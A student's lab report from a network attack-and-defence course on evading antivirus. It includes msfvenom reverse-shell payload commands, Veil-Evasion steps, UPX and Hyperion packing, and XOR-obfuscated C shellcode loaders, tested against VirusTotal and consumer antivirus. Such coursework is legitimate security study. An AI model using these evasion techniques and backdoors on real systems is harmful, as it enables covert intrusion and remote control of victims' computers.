20202418 2022-2023-2 《网络与系统攻防技术》实验三实验报告
1.实验内容
1.1实践目标
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
(2)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具使用C + shellcode编程
(3)通过组合应用各种技术实现恶意代码免杀
(4)如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(5)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2 课前回答
1.2.1 杀软是如何检测出恶意代码的?
1、特征码扫描法
特征码扫描法即用每一种病毒体含有的特定病毒码对被检测的对象进行扫描。如果在被检测对象内部发现了一种特定病毒码,就表明发现了该病毒码所代表的病毒。病毒特征码匹配非常精确,但扫描效率低,而且难以应付病毒变种。在上世纪90年代,病毒作者研发出多态变形技术,使得同一款病毒每次传播后新的副本大部分代码都发生了变化,这种技术给普通的特征库带来很大压力,因为杀毒软件不可能提前掌握病毒变形后的文件哈希。
2、启发式恶意软件检测
基于启发式的检测方法,通过比较系统上层信息和取自内核的系统状态来识别隐藏的文件、进程及注册表信息.还有一些研究工作通过监控系统特定资源来识别恶意代码。根据预先设定的规则判断恶意代码存在的可能性,其优势在于可检测新恶意代码样本;但其规则的生成依赖于分析人员的经验,在应用中易引发高误报及漏报率,因此在实际检测系统中应用较少。基于特征的检测方法,则根据由恶意代码中提取的特征进行检测,与基于启发式的检测方法相比吗,具有效率高、误报率低等优点,因此被广泛应用于恶意代码检测工具之中,是目前恶意代码检测比较常见的方法。
3、基于行为检测的主动防御
“主动防御是基于程序行为自主分析判断的实时防护技术,不以病毒的特征码作为判断病毒的依据,而是从最原始的病毒定义出发,直接将程序的行为作为判断病毒的依据。”这项技术换算成大白话,就是杀毒软件允许病毒执行,但当病毒运行过程中尝试修改敏感配置、删除敏感文件或类似操作的时候,杀毒软件对其进行预警并终止。
4、病毒云查杀
病毒和杀毒软件的对抗,终于使得依靠单机资源对病毒进行判定有些力不从心,杀毒软件提出云查杀的概念,将单机文件上传到云端,通过对大量样本的集中分析、行为判定,提升对病毒的识别能力。虽然这个云化过程中一再涉及对用户隐私的触犯,但几乎所有安全厂商都有类似行为,包括国外火眼、诺顿这类一流安全厂商,只不过每个安全厂商的文件上传策略有所区别。
5、加密文件分析
杀毒软件使用的特征码检测方法,促使病毒技术进一步改进。病毒作者一方面不断升级病毒,消除被杀毒软件提取的“特征”,一方面尝试寻求更好的免杀方法。这里最早被应用的就是使用加壳软件对病毒进行加壳。由于很多正常软件也会使用加壳软件进行加密处理,所以反病毒软件需要从众多的被加壳文件中区分出有害文件,这个难度比较大。
这个可能就是咱们实验中,添加加密壳之后会增加病毒的数量和报警的几率。
1.2.2 免杀是做什么?
免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
1.2.3 免杀的基本方法有哪些?
1、修改特征码
一种方法是直接修改特征码,这也是免杀的最初方式,例如在木马病毒中有一句话表明它是木马,只要将相应地址内的那句话改成别的就可以了,在不影响功能的情况下,可以考虑直接删掉
第二种方法是针对目前推出的校验和查杀技术,原理虽然仍是特征码,但已经不是纯粹意义上特征码的概念。其方法就是针对杀软匹配的特定区域的校验和进行修改,使得这一区域的校验和改变,从而完成免杀。也正因此,在定位特征码时,会存在定位了两次却得出不同结果。
2、花指令免杀
花指令就是一段毫无意义的指令,也称为垃圾指令,花指令对程序的运行和功能没有任何影响,它存在的唯一目的就是阻止反汇编程序,或者增加反汇编的难度。然而这种操作对杀软的影响也是致命的。
它之所以能影响杀软是因为杀软是靠特征码判断文件是否有毒,然而目前各大安全厂商为了提高杀软的效率,会将特征码限制在一定偏移量之内,而添加花指令,程序的部分偏移会受到影响,若杀软不能识别这段花指令,检测特征码的偏移量会整体移一段位置,无法正常检测。
3、加壳免杀
软件加壳也可称为软件加密(软件压缩),只是加密的方式与目的不同。
加壳的目的是减少被加壳应用程序的体积,或避免让程序遭到不法分子的破坏与利用。
加密后的文件结构已经发生了巨大的变化,原有的特征码已经不知去向,杀软也就自然认为其为一个正常的文件。
4、内存免杀
其实思想与文件查杀一样,因为杀软的内存扫描原理与硬盘上的文件扫描原理一样,都是通过特征码对比,为了制造迷惑性,大多数杀软的内存扫描与文件扫描采用的特征码不同,就导致一个病毒木马同时拥有两套特征码,需要全部破坏掉才能躲避杀软的查杀,在一定程度上增加了免杀的难度。
5、行为免杀
杀软目前都有主动防御,对恶意行为进行拦截提示,比如这些行为:
• 注册表操作、添加启动项、添加服务
• 文件写入、读系统文件、删除文件、移动文件
• 杀进程、创建进程
• 注入、劫持等
2.实验过程
2.1.正确使用msf编码器
#参数说明
符号 | 全程 | 意义 |
---|---|---|
-p | –payload | 指定需要使用的payload(攻击载荷) |
-f | –format | 指定输出格式 |
-e | –encoder | 指定需要使用的encoder(编码器) |
-a | –arch | 指定payload的目标架构 |
-b | –bad-chars | 设定规避字符集,badchar是payload中需要去除的字符 |
-i | –iterations | 指定payload的编码次数 |
-x | 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中 | |
-o | –out | 保存payload |
msfvenom -p windows/meterpreter/reverse_tcp -b ‘\x00’ -i 编码的次数 LHOST=LinuxIP地址 LPORT=Linux开放端口 -f exe > 20202418.exe
2.1.1 使用msf编码器输出不同编码次数的可执行性文件
在本次实验中,我分别利用msf编码器编码了0次、1次、5次、18次、24次、100次,生成如图所示文件
使用virustotal网站进行扫描,得到结果如下(由于截图较多,仅展示两张图片,而且不知为何我的软件放到网站上我的软件名都变成ab.exe):
编码次数 | virustotal显示 |
---|---|
0 | 55/69 |
1 | 53/69 |
5 | 53/69 |
18 | 52/69 |
24 | 53/69 |
100 | 51/69 |
2.1.2 使用msf编码器输出不同格式的可执行性文件
在这次实验中,我生成了.apk文件、.jar文件、php文件、py文件
以下是实验结果:
文件类型 | virustotal显示 |
---|---|
apk | 24/64 |
jar | 33/61 |
php | 24/59 |
python | 6/59 |
可知如果是python文件的话,病毒总量显示较少。
2.2 免杀软件Veil-Evasion的使用
2.2.1 Veil的安装
安装指令
sudo apt-get install veil
我非常幸运,我和李昕亮同学一起做这个实验,我安装veil时没有产生任何问题。
其中有很多额外软件的安装,一路next就可。
2.2.2 Veil的使用流程
使用流程
veil #进入veil工具
use evasion #选择使用evasion模块
use c/meterpreter/rev_tcp.py #选择payload
set LHOST Linux主机IP #设置IP
set LPORT Linux端口 #设置端口
options #查看配置内容
generate #执行payload
之后会提醒用户输入文件名,输入自己想要的文件名即可,流程如下图所示。
2.2.3 结果展示
我利用了两个payload,分别是python/meterpreter/rev_tcp.py和ruby/meterpreter/rev_tcp.py,生成了如图两个程序。
使用virustotal进行查杀后,得到如下结果:
payload | 结果 |
---|---|
python/meterpreter/rev_tcp.py | 33/69 |
ruby/meterpreter/rev_tcp.py | 32/69 |
2.3 加壳工具的使用
2.3.1 upx软件的安装
sudo apt-get install upx
2.3.2 压缩壳的使用
使用如下指令即可:
upx 原程序名称 -o 压缩后程序名
2.3.3 加密壳的使用
我们使用Kali中一个开源的加密器,名为Hyperion,能规避反病毒软件,然而由于我们没有设置环境变量, 所以我们得先进入加密器所在目录下。
cp 待加密软件 /usr/share/windows-resources/hyperion/ #将待加密程序拷贝到工作目录下
cd /usr/share/windows-resources/hyperion #进入工作目录下
wine hyperion.exe -v 待加密软件 加密后软件
2.3.4 实验结果
操作 | 网站检测结果 |
---|---|
不做任何操作 | 55/65 |
加密壳 | 48/69 |
压缩壳 | 49/68 |
先加密后压缩 | 47/69 |
先压缩后加密 | 48/69 |
2.4 shellcode + C编程的运用
2.4.1 shellcode + c简单版
使用msfvenom生成一个shellcode代码,在c语言程序中运行这个代码。
1、首先生成一个代码
msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=Linux IP地址 LPORT=Linux端口 -f c
2、作为全局变量放入对应的C语言文件中
C语言文件代码:
#include<stdio.h>
#include<stdlib.h>
unsigned char buf[] = 第一步生成的代码;int main()
{
int i;
int (func)() = (int()())buf;
func();
}
3、编译成能被windows运行的exe文件
i686-w64-mingw32-g++ 20202418yzy.c -o 20202418yzy.exe
4、在virustotal查看结果
2.5 多重结合提升免杀率
2.5.1shellcode + c + 异或
1、先编写一个程序,将源代码异或,相当于加密
#include<stdio.h>
#include<stdlib.h>
unsigned char buf[] = 原本的shellcode;
int main()
{
FILE *fptr;
fptr = fopen(“20202418shellcode.txt”, “w”);
int i;
for (i = 0; i < sizeof(buf)-1; i++)
{
buf[i] ^= 0x01;
fprintf(fptr,“\x%x”, buf[i]);
}
if(fptr == NULL)
{
printf(“Error!”);
exit(1);
}
fclose(fptr);
return 0;
}
2、编译运行,得到异或后的shellcode
gcc 上面代码的文件名.c -o 输出的文件名
./输出的文件名
可以发现桌面多了一个文件,是异或后的结果
3、新建一个C语言程序,将密文异或恢复后运行
#include<stdio.h>
#include<stdlib.h>
unsigned char buf[] = 异或后的代码;int main()
{
int i;
for (i=0;i<sizeof(buf);i++)
{
buf[i] ^= 0x01;
}
int (func)() = (int()())buf;
func();
return 0;
}
4、编译成能被windows运行的exe文件
i686-w64-mingw32-g++ new_2418_1.c -o new_2418_1.exe
5、上网站查看结果
发现异或后比刚刚少个一个值,也算是有所进步。
2.5.2 shellcode + c + 异或 + 压缩壳
使用下列代码对上面产生的文件进行压缩。
upx 原程序名称 -o 压缩后程序名
可以发现又少了一些,免杀率更高了!
2.5.3 shellcode + c + 异或 + 压缩壳 + 加密壳
很遗憾,加密壳之后反而有更高的安全问题!因此,平台可能感觉如果这个程序被加密了,就可能是开发者心虚了来考虑这个问题。或者是这种加密方式被很多恶意软件所使用,所以使用这种加密方式的文件安全问题更高,且容易被破解。
2.6 在杀软开启的情况下,可运行并回连成功
2.6.1 使用免杀生成工具Veil-Evasion生成攻击程序
使用方法前面已经提到过了,与之不同的是,在选择载荷时选择第13个载荷cs/shellcode_inject/virtual.py,然后直接generate即可。
然后依据提示,如哪种平台支持shellcode,必然是我们上节课使用的MSFV,之后按照提示输入IP地址和端口号即可。
2.6.2 使用NCat,将生成的免杀软件植入windows中
此时虽然能够逃逸金山毒霸的查杀,但并不能躲过360安全卫士和windows自带的杀毒软件。
2.6.3 查看功能是否能够正常使用
使用方法详情见实验二,开启监听之后,双击后门可执行性文件。
发现能够正常使用,成功获得了windows的shell。但是这个后门软件能够被360查杀出来,金山毒霸查不出来。
2.6.4 尝试进一步减少病毒总量
1、压缩壳
成功大量减少病毒总量,而且功能依旧可以正常运行。并且此时不仅能够免疫金山毒霸的查杀、还能免疫360安全卫士的查杀。
2、压缩后加密
加密后的文件往往会使病毒总量增加,加密后病毒总量不减反增,同时金山毒霸、360安全卫士都报出了安全提醒。
我的网络与系统攻防实验到此结束!
3 问题以及解决方案
- 问题一:使用veil生成文件时,第一次能够正常产生.exe文件,然而之后都无法生成.exe文件
* - 解决方案:
参考github上的一篇问答帖,可知是用户权限的问题,在终端输入
sudo chown root:root -R /var/lib/veil/wine
即可解决问题
-
问题二:veil无法打开某一hash文件,导致无法得到想要的结果
*解决方案二:先su root,进入root用户后即可解决该问题。 -
问题三:发布文章时审核不通过
-
解决方法三:原图片是360杀毒软件检验的结果截图,我也不知道为啥就违规了QAQ
4 实验感想
在本次实验中,我和李昕亮同学互帮互助,从早上八点到下午三点共七个小时的时间成功在实验课当天完成了这次实验,感谢李昕亮同志的帮助。通过本次实验,我学会了使用编码器编码、Veil免杀程序生成、压缩壳和加密壳的实现以及C + shellcode进行免杀操作,结合上一次的实验,我离一个凑凑合合的黑客越来越近了,监听操作别人的电脑指日可待(bushi。
在这一次的实验中,我还发现这个金山毒霸的杀毒能力真的不高,连我自己的后门软件都查不出来,360其次,但也只能查出来原本的和加密后的,不如是windows自带的杀毒功能,因此我们日常使用电脑时也不太需要安装额外的杀毒软件了,自带的就挺好的。